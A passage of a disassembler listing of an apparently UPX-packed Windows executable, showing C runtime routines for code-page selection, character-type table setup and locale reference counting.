		or	byte ptr [esi+eax+1Dh],	10h
		mov	cl, [ebp+eax+var_204]
		jmp	short loc_411CA7
; ---------------------------------------------------------------------------


loc_411C96:				; CODE XREF: sub_411B90+F6j
		test	cl, 2
		jz	short loc_411CB0
		or	byte ptr [esi+eax+1Dh],	20h
		mov	cl, [ebp+eax+var_304]


loc_411CA7:				; CODE XREF: sub_411B90+104j
		mov	[esi+eax+11Dh],	cl
		jmp	short loc_411CB8
; ---------------------------------------------------------------------------


loc_411CB0:				; CODE XREF: sub_411B90+109j
		mov	byte ptr [esi+eax+11Dh], 0


loc_411CB8:				; CODE XREF: sub_411B90+11Ej
		inc	eax
		cmp	eax, edi
		jb	short loc_411C7B
		jmp	short loc_411D15
; ---------------------------------------------------------------------------


loc_411CBF:				; CODE XREF: sub_411B90+2Ej
		lea	eax, [esi+11Dh]
		mov	[ebp+var_51C], 0FFFFFF9Fh
		xor	ecx, ecx
		sub	[ebp+var_51C], eax


loc_411CD7:				; CODE XREF: sub_411B90+183j
		mov	edx, [ebp+var_51C]
		lea	eax, [esi+ecx+11Dh]
		add	edx, eax
		lea	ebx, [edx+20h]
		cmp	ebx, 19h
		ja	short loc_411CFA
		or	byte ptr [esi+ecx+1Dh],	10h
		mov	dl, cl
		add	dl, 20h
		jmp	short loc_411D09
; ---------------------------------------------------------------------------


loc_411CFA:				; CODE XREF: sub_411B90+15Cj
		cmp	edx, 19h
		ja	short loc_411D0D
		or	byte ptr [esi+ecx+1Dh],	20h
		mov	dl, cl
		sub	dl, 20h


loc_411D09:				; CODE XREF: sub_411B90+168j
		mov	[eax], dl
		jmp	short loc_411D10
; ---------------------------------------------------------------------------


loc_411D0D:				; CODE XREF: sub_411B90+16Dj
		mov	byte ptr [eax],	0


loc_411D10:				; CODE XREF: sub_411B90+17Bj
		inc	ecx
		cmp	ecx, edi
		jb	short loc_411CD7


loc_411D15:				; CODE XREF: sub_411B90+12Dj
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_411B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411D23	proc near		; CODE XREF: sub_40C799+5Bp
					; sub_412028+1Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_426BF0
		call	__SEH_prolog4
		call	sub_40E38F
		mov	edi, eax
		mov	eax, dword_42ABF4
		test	[edi+70h], eax
		jz	short loc_411D5D
		cmp	dword ptr [edi+6Ch], 0
		jz	short loc_411D5D
		mov	esi, [edi+68h]


loc_411D49:				; CODE XREF: sub_411D23+96j
		test	esi, esi
		jnz	short loc_411D55
		push	20h
		call	sub_40DAD0
		pop	ecx


loc_411D55:				; CODE XREF: sub_411D23+28j
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_411D5D:				; CODE XREF: sub_411D23+1Bj
					; sub_411D23+21j
		push	0Dh
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [edi+68h]
		mov	[ebp+var_1C], esi
		cmp	esi, dword_42AAF8
		jz	short loc_411DAD
		test	esi, esi
		jz	short loc_411D95
		push	esi
		call	dword_41D218	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_411D95
		cmp	esi, offset dword_42A6D0
		jz	short loc_411D95
		push	esi
		call	sub_40ADC8
		pop	ecx


loc_411D95:				; CODE XREF: sub_411D23+56j
					; sub_411D23+61j ...
		mov	eax, dword_42AAF8
		mov	[edi+68h], eax
		mov	esi, dword_42AAF8
		mov	[ebp+var_1C], esi
		push	esi
		call	dword_41D21C	; InterlockedIncrement


loc_411DAD:				; CODE XREF: sub_411D23+52j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411DBE
		jmp	short loc_411D49
sub_411D23	endp


; =============== S U B	R O U T	I N E =======================================



sub_411DBB	proc near		; DATA XREF: UPX0:00426C08o
		mov	esi, [ebp-1Ch]
sub_411DBB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_411DBE	proc near		; CODE XREF: sub_411D23+91p
		push	0Dh
		call	sub_40CECF
		pop	ecx
		retn
sub_411DBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DC7	proc near		; CODE XREF: sub_411E43+1Bp
					; sub_412028+25p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	dword_42ED00, ebx
		cmp	esi, 0FFFFFFFEh
		jnz	short loc_411E04
		mov	dword_42ED00, 1
		call	dword_41D134	; GetOEMCP


loc_411DF6:				; CODE XREF: sub_411DC7+52j
					; sub_411DC7+69j
		cmp	[ebp+var_4], bl
		jz	short loc_411E40
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_411E40
; ---------------------------------------------------------------------------


loc_411E04:				; CODE XREF: sub_411DC7+1Dj
		cmp	esi, 0FFFFFFFDh
		jnz	short loc_411E1B
		mov	dword_42ED00, 1
		call	dword_41D0B8	; GetACP
		jmp	short loc_411DF6
; ---------------------------------------------------------------------------


loc_411E1B:				; CODE XREF: sub_411DC7+40j
		cmp	esi, 0FFFFFFFCh
		jnz	short loc_411E32
		mov	eax, [ebp+var_10]
		mov	eax, [eax+4]
		mov	dword_42ED00, 1
		jmp	short loc_411DF6
; ---------------------------------------------------------------------------


loc_411E32:				; CODE XREF: sub_411DC7+57j
		cmp	[ebp+var_4], bl
		jz	short loc_411E3E
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_411E3E:				; CODE XREF: sub_411DC7+6Ej
		mov	eax, esi


loc_411E40:				; CODE XREF: sub_411DC7+32j
					; sub_411DC7+3Bj
		pop	ebx
		leave
		retn
sub_411DC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411E43	proc near		; CODE XREF: sub_412028+5Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		call	sub_411DC7
		mov	edi, eax
		xor	esi, esi
		mov	[ebp+arg_0], edi
		cmp	edi, esi
		jnz	short loc_411E7C


loc_411E6E:				; CODE XREF: sub_411E43+1CDj
		mov	eax, ebx
		call	sub_411B2C


loc_411E75:				; CODE XREF: sub_411E43+176j
		xor	eax, eax
		jmp	loc_412019
; ---------------------------------------------------------------------------


loc_411E7C:				; CODE XREF: sub_411E43+29j
		mov	[ebp+var_1C], esi
		xor	eax, eax


loc_411E81:				; CODE XREF: sub_411E43+55j
		cmp	dword_42AB00[eax], edi
		jz	loc_411F1E
		inc	[ebp+var_1C]
		add	eax, 30h
		cmp	eax, 0F0h
		jb	short loc_411E81
		cmp	edi, 0FDE8h
		jz	loc_412016
		cmp	edi, 0FDE9h
		jz	loc_412016
		movzx	eax, di
		push	eax
		call	dword_41D130	; IsValidCodePage
		test	eax, eax
		jz	loc_412016
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		call	dword_41D138	; GetCPInfo
		test	eax, eax
		jz	loc_41200A
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40BD40
		xor	edx, edx
		inc	edx
		add	esp, 0Ch
		mov	[ebx+4], edi
		mov	[ebx+0Ch], esi
		cmp	[ebp+var_18], edx
		jbe	loc_411FF3
		cmp	[ebp+var_12], 0
		jz	loc_411FD4
		lea	esi, [ebp+var_11]


loc_411F08:				; CODE XREF: sub_411E43+18Bj
		mov	cl, [esi]
		test	cl, cl
		jz	loc_411FD4
		movzx	eax, byte ptr [esi-1]
		movzx	ecx, cl
		jmp	loc_411FC4
; ---------------------------------------------------------------------------


loc_411F1E:				; CODE XREF: sub_411E43+44j
		push	101h
		lea	eax, [ebx+1Ch]
		push	esi
		push	eax
		call	sub_40BD40
		mov	ecx, [ebp+var_1C]
		add	esp, 0Ch
		imul	ecx, 30h
		mov	[ebp+var_20], esi
		lea	esi, dword_42AB10[ecx]
		mov	[ebp+var_1C], esi
		jmp	short loc_411F6E
; ---------------------------------------------------------------------------


loc_411F44:				; CODE XREF: sub_411E43+12Ej
		mov	al, [esi+1]
		test	al, al
		jz	short loc_411F73
		movzx	edi, byte ptr [esi]
		movzx	eax, al
		jmp	short loc_411F65
; ---------------------------------------------------------------------------


loc_411F53:				; CODE XREF: sub_411E43+124j
		mov	eax, [ebp+var_20]
		mov	al, byte_42AAFC[eax]
		or	[ebx+edi+1Dh], al
		movzx	eax, byte ptr [esi+1]
		inc	edi


loc_411F65:				; CODE XREF: sub_411E43+10Ej
		cmp	edi, eax
		jbe	short loc_411F53
		mov	edi, [ebp+arg_0]
		inc	esi
		inc	esi


loc_411F6E:				; CODE XREF: sub_411E43+FFj
					; sub_411E43+140j
		cmp	byte ptr [esi],	0
		jnz	short loc_411F44


loc_411F73:				; CODE XREF: sub_411E43+106j
		mov	esi, [ebp+var_1C]
		inc	[ebp+var_20]
		add	esi, 8
		cmp	[ebp+var_20], 4
		mov	[ebp+var_1C], esi
		jb	short loc_411F6E
		mov	eax, edi
		mov	[ebx+4], edi
		mov	dword ptr [ebx+8], 1
		call	sub_411AFD
		push	6
		mov	[ebx+0Ch], eax
		lea	eax, [ebx+10h]
		lea	ecx, dword_42AB04[ecx]
		pop	edx


loc_411FA5:				; CODE XREF: sub_411E43+16Dj
		mov	si, [ecx]
		inc	ecx
		mov	[eax], si
		inc	ecx
		inc	eax
		inc	eax
		dec	edx
		jnz	short loc_411FA5


loc_411FB2:				; CODE XREF: sub_411E43+1C5j
		mov	esi, ebx
		call	sub_411B90
		jmp	loc_411E75
; ---------------------------------------------------------------------------


loc_411FBE:				; CODE XREF: sub_411E43+183j
		or	byte ptr [ebx+eax+1Dh],	4
		inc	eax


loc_411FC4:				; CODE XREF: sub_411E43+D6j
		cmp	eax, ecx
		jbe	short loc_411FBE
		inc	esi
		inc	esi
		cmp	byte ptr [esi-1], 0
		jnz	loc_411F08


loc_411FD4:				; CODE XREF: sub_411E43+BCj
					; sub_411E43+C9j
		lea	eax, [ebx+1Eh]
		mov	ecx, 0FEh


loc_411FDC:				; CODE XREF: sub_411E43+19Ej
		or	byte ptr [eax],	8
		inc	eax
		dec	ecx
		jnz	short loc_411FDC
		mov	eax, [ebx+4]
		call	sub_411AFD
		mov	[ebx+0Ch], eax
		mov	[ebx+8], edx
		jmp	short loc_411FF6
; ---------------------------------------------------------------------------


loc_411FF3:				; CODE XREF: sub_411E43+B2j
		mov	[ebx+8], esi


loc_411FF6:				; CODE XREF: sub_411E43+1AEj
		xor	eax, eax
		movzx	ecx, ax
		mov	eax, ecx
		shl	ecx, 10h
		or	eax, ecx
		lea	edi, [ebx+10h]
		stosd
		stosd
		stosd
		jmp	short loc_411FB2
; ---------------------------------------------------------------------------


loc_41200A:				; CODE XREF: sub_411E43+8Ej
		cmp	dword_42ED00, esi
		jnz	loc_411E6E


loc_412016:				; CODE XREF: sub_411E43+5Dj
					; sub_411E43+69j ...
		or	eax, 0FFFFFFFFh


loc_412019:				; CODE XREF: sub_411E43+34j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_411E43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412028	proc near		; CODE XREF: sub_4121C2+Bp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00412194 SIZE 0000002E BYTES

		push	14h
		push	offset dword_426C10
		call	__SEH_prolog4
		or	[ebp+var_20], 0FFFFFFFFh
		call	sub_40E38F
		mov	edi, eax
		mov	[ebp+var_24], edi
		call	sub_411D23
		mov	ebx, [edi+68h]
		mov	esi, [ebp+arg_0]
		call	sub_411DC7
		mov	[ebp+arg_0], eax
		cmp	eax, [ebx+4]
		jz	loc_4121B5
		push	220h
		call	sub_40EF2A
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_4121B9
		mov	ecx, 88h
		mov	esi, [edi+68h]
		mov	edi, ebx
		rep movsd
		and	dword ptr [ebx], 0
		push	ebx
		push	[ebp+arg_0]
		call	sub_411E43
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	loc_412194
		mov	esi, [ebp+var_24]
		push	dword ptr [esi+68h]
		call	dword_41D218	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_4120B9
		mov	eax, [esi+68h]
		cmp	eax, offset dword_42A6D0
		jz	short loc_4120B9
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_4120B9:				; CODE XREF: sub_412028+7Ej
					; sub_412028+88j
		mov	[esi+68h], ebx
		push	ebx
		mov	edi, dword_41D21C
		call	edi ; dword_41D21C
		test	byte ptr [esi+70h], 2
		jnz	loc_4121B9
		test	byte ptr dword_42ABF4, 1
		jnz	loc_4121B9
		push	0Dh
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [ebx+4]
		mov	dword_42ED10, eax
		mov	eax, [ebx+8]
		mov	dword_42ED14, eax
		mov	eax, [ebx+0Ch]
		mov	dword_42ED18, eax
		xor	eax, eax


loc_412102:				; CODE XREF: sub_412028+F0j
		mov	[ebp+var_1C], eax
		cmp	eax, 5
		jge	short loc_41211A
		mov	cx, [ebx+eax*2+10h]
		mov	word_42ED04[eax*2], cx
		inc	eax
		jmp	short loc_412102
; ---------------------------------------------------------------------------


loc_41211A:				; CODE XREF: sub_412028+E0j
		xor	eax, eax


loc_41211C:				; CODE XREF: sub_412028+109j
		mov	[ebp+var_1C], eax
		cmp	eax, 101h
		jge	short loc_412133
		mov	cl, [eax+ebx+1Ch]
		mov	byte_42A8F0[eax], cl
		inc	eax
		jmp	short loc_41211C
; ---------------------------------------------------------------------------


loc_412133:				; CODE XREF: sub_412028+FCj
		xor	eax, eax


loc_412135:				; CODE XREF: sub_412028+125j
		mov	[ebp+var_1C], eax
		cmp	eax, 100h
		jge	short loc_41214F
		mov	cl, [eax+ebx+11Dh]
		mov	byte_42A9F8[eax], cl
		inc	eax
		jmp	short loc_412135
; ---------------------------------------------------------------------------


loc_41214F:				; CODE XREF: sub_412028+115j
		push	dword_42AAF8
		call	dword_41D218	; InterlockedDecrement
		test	eax, eax
		jnz	short loc_412172
		mov	eax, dword_42AAF8
		cmp	eax, offset dword_42A6D0
		jz	short loc_412172
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_412172:				; CODE XREF: sub_412028+135j
					; sub_412028+141j
		mov	dword_42AAF8, ebx
		push	ebx
		call	edi ; dword_41D21C
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_412189
		jmp	short loc_4121B9
sub_412028	endp


; =============== S U B	R O U T	I N E =======================================



sub_412189	proc near		; CODE XREF: sub_412028+15Ap
					; DATA XREF: UPX0:00426C28o
		push	0Dh
		call	sub_40CECF
		pop	ecx
		retn
sub_412189	endp

; ---------------------------------------------------------------------------
		jmp	short loc_4121B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_412028


loc_412194:				; CODE XREF: sub_412028+6Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4121B9
		cmp	ebx, offset dword_42A6D0
		jz	short loc_4121A8
		push	ebx
		call	sub_40ADC8
		pop	ecx


loc_4121A8:				; CODE XREF: sub_412028+177j
		call	sub_40C862
		mov	dword ptr [eax], 16h
		jmp	short loc_4121B9
; ---------------------------------------------------------------------------


loc_4121B5:				; CODE XREF: sub_412028+30j
		and	[ebp+var_20], 0


loc_4121B9:				; CODE XREF: sub_412028+45j
					; sub_412028+A1j ...
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_412028

; =============== S U B	R O U T	I N E =======================================



sub_4121C2	proc near		; CODE XREF: sub_40F568+Ep
					; sub_40F5C7+9p ...
		cmp	dword_430270, 0
		jnz	short loc_4121DD
		push	0FFFFFFFDh
		call	sub_412028
		pop	ecx
		mov	dword_430270, 1


loc_4121DD:				; CODE XREF: sub_4121C2+7j
		xor	eax, eax
		retn
sub_4121C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4121E0	proc near		; CODE XREF: sub_40E3A9+F6p
					; sub_412451+31p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+0BCh]
		xor	ebx, ebx
		push	edi
		cmp	eax, ebx
		jz	short loc_412266
		cmp	eax, offset off_42AE00
		jz	short loc_412266
		mov	eax, [esi+0B0h]
		cmp	eax, ebx
		jz	short loc_412266
		cmp	[eax], ebx
		jnz	short loc_412266
		mov	eax, [esi+0B8h]
		cmp	eax, ebx
		jz	short loc_41222D
		cmp	[eax], ebx
		jnz	short loc_41222D
		push	eax
		call	sub_40ADC8
		push	dword ptr [esi+0BCh]
		call	sub_4153C4
		pop	ecx
		pop	ecx


loc_41222D:				; CODE XREF: sub_4121E0+34j
					; sub_4121E0+38j
		mov	eax, [esi+0B4h]
		cmp	eax, ebx
		jz	short loc_41224E
		cmp	[eax], ebx
		jnz	short loc_41224E
		push	eax
		call	sub_40ADC8
		push	dword ptr [esi+0BCh]
		call	sub_41537F
		pop	ecx
		pop	ecx


loc_41224E:				; CODE XREF: sub_4121E0+55j
					; sub_4121E0+59j
		push	dword ptr [esi+0B0h]
		call	sub_40ADC8
		push	dword ptr [esi+0BCh]
		call	sub_40ADC8
		pop	ecx
		pop	ecx


loc_412266:				; CODE XREF: sub_4121E0+15j
					; sub_4121E0+1Cj ...
		mov	eax, [esi+0C0h]
		cmp	eax, ebx
		jz	short loc_4122B4
		cmp	[eax], ebx
		jnz	short loc_4122B4
		mov	eax, [esi+0C4h]
		sub	eax, 0FEh
		push	eax
		call	sub_40ADC8
		mov	eax, [esi+0CCh]
		mov	edi, 80h
		sub	eax, edi
		push	eax
		call	sub_40ADC8
		mov	eax, [esi+0D0h]
		sub	eax, edi
		push	eax
		call	sub_40ADC8
		push	dword ptr [esi+0C0h]
		call	sub_40ADC8
		add	esp, 10h


loc_4122B4:				; CODE XREF: sub_4121E0+8Ej
					; sub_4121E0+92j
		lea	edi, [esi+0D4h]
		mov	eax, [edi]
		cmp	eax, offset off_42AD40
		jz	short loc_4122DA
		cmp	[eax+0B4h], ebx
		jnz	short loc_4122DA
		push	eax
		call	sub_4151EA
		push	dword ptr [edi]
		call	sub_40ADC8
		pop	ecx
		pop	ecx


loc_4122DA:				; CODE XREF: sub_4121E0+E1j
					; sub_4121E0+E9j
		lea	edi, [esi+50h]
		mov	[ebp+arg_0], 6


loc_4122E4:				; CODE XREF: sub_4121E0+13Bj
		cmp	dword ptr [edi-8], offset dword_42ABF8
		jz	short loc_4122FE
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_4122FE
		cmp	[eax], ebx
		jnz	short loc_4122FE
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_4122FE:				; CODE XREF: sub_4121E0+10Bj
					; sub_4121E0+111j ...
		cmp	[edi-4], ebx
		jz	short loc_412315
		mov	eax, [edi+4]
		cmp	eax, ebx
		jz	short loc_412315
		cmp	[eax], ebx
		jnz	short loc_412315
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_412315:				; CODE XREF: sub_4121E0+121j
					; sub_4121E0+128j ...
		add	edi, 10h
		dec	[ebp+arg_0]
		jnz	short loc_4122E4
		push	esi
		call	sub_40ADC8
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4121E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412329	proc near		; CODE XREF: sub_40E22F+B7p
					; sub_412451+12p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, dword_41D21C
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	esi ; dword_41D21C
		mov	eax, [edi+0B0h]
		test	eax, eax
		jz	short loc_41234A
		push	eax
		call	esi ; dword_41D21C


loc_41234A:				; CODE XREF: sub_412329+1Cj
		mov	eax, [edi+0B8h]
		test	eax, eax
		jz	short loc_412357
		push	eax
		call	esi ; dword_41D21C


loc_412357:				; CODE XREF: sub_412329+29j
		mov	eax, [edi+0B4h]
		test	eax, eax
		jz	short loc_412364
		push	eax
		call	esi ; dword_41D21C


loc_412364:				; CODE XREF: sub_412329+36j
		mov	eax, [edi+0C0h]
		test	eax, eax
		jz	short loc_412371
		push	eax
		call	esi ; dword_41D21C


loc_412371:				; CODE XREF: sub_412329+43j
		lea	ebx, [edi+50h]
		mov	[ebp+arg_0], 6


loc_41237B:				; CODE XREF: sub_412329+7Aj
		cmp	dword ptr [ebx-8], offset dword_42ABF8
		jz	short loc_41238D
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_41238D
		push	eax
		call	esi ; dword_41D21C


loc_41238D:				; CODE XREF: sub_412329+59j
					; sub_412329+5Fj
		cmp	dword ptr [ebx-4], 0
		jz	short loc_41239D
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_41239D
		push	eax
		call	esi ; dword_41D21C


loc_41239D:				; CODE XREF: sub_412329+68j
					; sub_412329+6Fj
		add	ebx, 10h
		dec	[ebp+arg_0]
		jnz	short loc_41237B
		mov	eax, [edi+0D4h]
		add	eax, 0B4h
		push	eax
		call	esi ; dword_41D21C
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_412329	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4123B8	proc near		; CODE XREF: sub_40E3A9+DAp
					; sub_412451+1Dp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		test	edi, edi
		jz	loc_41244C
		push	ebx
		push	esi
		mov	esi, dword_41D218
		push	edi
		call	esi ; dword_41D218
		mov	eax, [edi+0B0h]
		test	eax, eax
		jz	short loc_4123E1
		push	eax
		call	esi ; dword_41D218


loc_4123E1:				; CODE XREF: sub_4123B8+24j
		mov	eax, [edi+0B8h]
		test	eax, eax
		jz	short loc_4123EE
		push	eax
		call	esi ; dword_41D218


loc_4123EE:				; CODE XREF: sub_4123B8+31j
		mov	eax, [edi+0B4h]
		test	eax, eax
		jz	short loc_4123FB
		push	eax
		call	esi ; dword_41D218


loc_4123FB:				; CODE XREF: sub_4123B8+3Ej
		mov	eax, [edi+0C0h]
		test	eax, eax
		jz	short loc_412408
		push	eax
		call	esi ; dword_41D218


loc_412408:				; CODE XREF: sub_4123B8+4Bj
		lea	ebx, [edi+50h]
		mov	[ebp+arg_0], 6


loc_412412:				; CODE XREF: sub_4123B8+82j
		cmp	dword ptr [ebx-8], offset dword_42ABF8
		jz	short loc_412424
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_412424
		push	eax
		call	esi ; dword_41D218


loc_412424:				; CODE XREF: sub_4123B8+61j
					; sub_4123B8+67j
		cmp	dword ptr [ebx-4], 0
		jz	short loc_412434
		mov	eax, [ebx+4]
		test	eax, eax
		jz	short loc_412434
		push	eax
		call	esi ; dword_41D218


loc_412434:				; CODE XREF: sub_4123B8+70j
					; sub_4123B8+77j
		add	ebx, 10h
		dec	[ebp+arg_0]
		jnz	short loc_412412
		mov	eax, [edi+0D4h]
		add	eax, 0B4h
		push	eax
		call	esi ; dword_41D218
		pop	esi
		pop	ebx


loc_41244C:				; CODE XREF: sub_4123B8+Bj
		mov	eax, edi
		pop	edi
		pop	ebp
		retn
sub_4123B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_412451	proc near		; CODE XREF: sub_41248F+54p
		test	edi, edi
		jz	short loc_41248C
		test	eax, eax
		jz	short loc_41248C
		push	esi
		mov	esi, [eax]
		cmp	esi, edi
		jz	short loc_412488
		push	edi
		mov	[eax], edi
		call	sub_412329
		pop	ecx
		test	esi, esi
		jz	short loc_412488
		push	esi
		call	sub_4123B8
		cmp	dword ptr [esi], 0
		pop	ecx
		jnz	short loc_412488
		cmp	esi, offset dword_42AC00
		jz	short loc_412488
		push	esi
		call	sub_4121E0
		pop	ecx


loc_412488:				; CODE XREF: sub_412451+Dj
					; sub_412451+1Aj ...
		mov	eax, edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41248C:				; CODE XREF: sub_412451+2j
					; sub_412451+6j
		xor	eax, eax
		retn
sub_412451	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41248F	proc near		; CODE XREF: sub_40C799+3Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_426C30
		call	__SEH_prolog4
		call	sub_40E38F
		mov	esi, eax
		mov	eax, dword_42ABF4
		test	[esi+70h], eax
		jz	short loc_4124CE
		cmp	dword ptr [esi+6Ch], 0
		jz	short loc_4124CE
		call	sub_40E38F
		mov	esi, [eax+6Ch]


loc_4124BA:				; CODE XREF: sub_41248F+68j
		test	esi, esi
		jnz	short loc_4124C6
		push	20h
		call	sub_40DAD0
		pop	ecx


loc_4124C6:				; CODE XREF: sub_41248F+2Dj
		mov	eax, esi
		call	__SEH_epilog4
		retn
; ---------------------------------------------------------------------------


loc_4124CE:				; CODE XREF: sub_41248F+1Bj
					; sub_41248F+21j
		push	0Ch
		call	sub_40CFA9
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		lea	eax, [esi+6Ch]
		mov	edi, off_42ACD8
		call	sub_412451
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4124F9
		jmp	short loc_4124BA
sub_41248F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124F9	proc near		; CODE XREF: sub_41248F+63p
					; DATA XREF: UPX0:00426C48o
		push	0Ch
		call	sub_40CECF
		pop	ecx
		mov	esi, [ebp-1Ch]
		retn
sub_4124F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412505	proc near		; CODE XREF: sub_41283F+15p

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		test	byte ptr [esi+0Ch], 40h
		push	edi
		jnz	loc_41265D
		push	esi
		call	sub_411ACB
		pop	ecx
		mov	ebx, offset dword_42A3E0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412566
		push	esi
		call	sub_411ACB
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_412566
		push	esi
		call	sub_411ACB
		sar	eax, 5
		push	esi
		lea	edi, ds:430160h[eax*4]
		call	sub_411ACB
		and	eax, 1Fh
		pop	ecx
		shl	eax, 6
		add	eax, [edi]
		pop	ecx
		jmp	short loc_412568
; ---------------------------------------------------------------------------


loc_412566:				; CODE XREF: sub_412505+31j
					; sub_412505+3Dj
		mov	eax, ebx


loc_412568:				; CODE XREF: sub_412505+5Fj
		mov	al, [eax+24h]
		and	al, 7Fh
		cmp	al, 2
		jz	loc_41265D
		push	esi
		call	sub_411ACB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4125AF
		push	esi
		call	sub_411ACB
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4125AF
		push	esi
		call	sub_411ACB
		sar	eax, 5
		push	esi
		lea	edi, ds:430160h[eax*4]
		call	sub_411ACB
		and	eax, 1Fh
		pop	ecx
		shl	eax, 6
		add	eax, [edi]
		pop	ecx
		jmp	short loc_4125B1
; ---------------------------------------------------------------------------


loc_4125AF:				; CODE XREF: sub_412505+7Aj
					; sub_412505+86j
		mov	eax, ebx


loc_4125B1:				; CODE XREF: sub_412505+A8j
		mov	al, [eax+24h]
		and	al, 7Fh
		cmp	al, 1
		jz	loc_41265D
		push	esi
		call	sub_411ACB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4125F8
		push	esi
		call	sub_411ACB
		pop	ecx
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4125F8
		push	esi
		call	sub_411ACB
		sar	eax, 5
		push	esi
		lea	edi, ds:430160h[eax*4]
		call	sub_411ACB
		and	eax, 1Fh
		pop	ecx
		shl	eax, 6
		add	eax, [edi]
		pop	ecx
		jmp	short loc_4125FA
; ---------------------------------------------------------------------------


loc_4125F8:				; CODE XREF: sub_412505+C3j
					; sub_412505+CFj
		mov	eax, ebx


loc_4125FA:				; CODE XREF: sub_412505+F1j
		test	byte ptr [eax+4], 80h
		jz	short loc_41265D
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	5
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
